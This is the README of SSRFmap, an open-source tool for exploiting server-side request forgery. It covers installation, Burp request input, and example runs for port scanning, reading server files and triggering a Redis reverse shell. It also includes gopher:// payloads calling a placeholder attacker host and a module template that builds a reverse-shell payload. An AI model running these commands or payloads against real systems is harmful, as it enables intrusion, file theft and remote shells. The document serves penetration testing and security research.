SSRFmap

SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Summary

• Modules
• Install and Manual
• Examples
• SSRFmap - Tests
• Contribute
  • Contributors

Modules

The following modules are already implemented and can be used with the -m argument.

Install and Manual

• From the Github repository.

  $ git clone https://github.com/swisskyrepo/SSRFmap
  $ cd SSRFmap/
  $ pip3 install -r requirements.txt
  $ python3 ssrfmap.py
  
  usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                    [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                    [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
  
  optional arguments:
    -h, --help          show this help message and exit
    -r REQFILE          SSRF Request file
    -p PARAM            SSRF Parameter to target
    -m MODULES          SSRF Modules to enable
    -l HANDLER          Start an handler for a reverse shell
    -v [VERBOSE]        Enable verbosity
    --lhost LHOST       LHOST reverse shell or IP to target in the network
    --lport LPORT       LPORT reverse shell or port to target in the network
    --uagent USERAGENT  User Agent to use
    --ssl [SSL]         Use HTTPS without verification
    --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
    --level [LEVEL]     Level of test to perform (1-5, default: 1)

• Docker

  $ git clone https://github.com/swisskyrepo/SSRFmap
  $ docker build --no-cache -t ssrfmap .
  $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
  $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py

Examples

First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap. They should look like the following. More examples are available in the ./examples folder.

POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Use the -m followed by module name (separated by a , if you want to launch several modules).

# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

If you want to inject inside a header, a GET or a POST parameter, you only need to specify the parameter name

python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

If you need to have a custom user-agent use the --uagent. Some targets will use HTTPS, you can enable it with --ssl.

# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell.

# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

When the target is protected by a WAF or some filters you can try a wide range of payloads and encoding with the parameter --level.

# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

SSRFmap Tests

A quick way to test the framework can be done with data/example.py SSRF service.

• Local

  FLASK_APP=examples/example.py flask run &
  python ssrfmap.py -r examples/request.txt -p url -m readfiles

• Docker

  docker build --no-cache -t ssrfmap .
  
  # run example ssrf http service
  docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py
  
  # run example ssrf dns service
  docker exec -u root:root -it example python examples/ssrf_dns.py
  
  # run ssrfmap tool
  docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles

Launch the tests requests:

docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

Contribute

I :heart: pull requests :) Feel free to add any feature listed below or a new service.

• Redis PHP Exploitation
• HTTP module (Jenkins ?)

  gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
  gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

The following code is a template if you wish to add a module interacting with a service.

from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

You can also contribute with a beer IRL or via Github Sponsor button.

Thanks to the contributors

Inspired by

• How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai
• Blog on Gopherus Tool -SpyD3r
• Gopherus - Github
• SSRF testing - cujanovic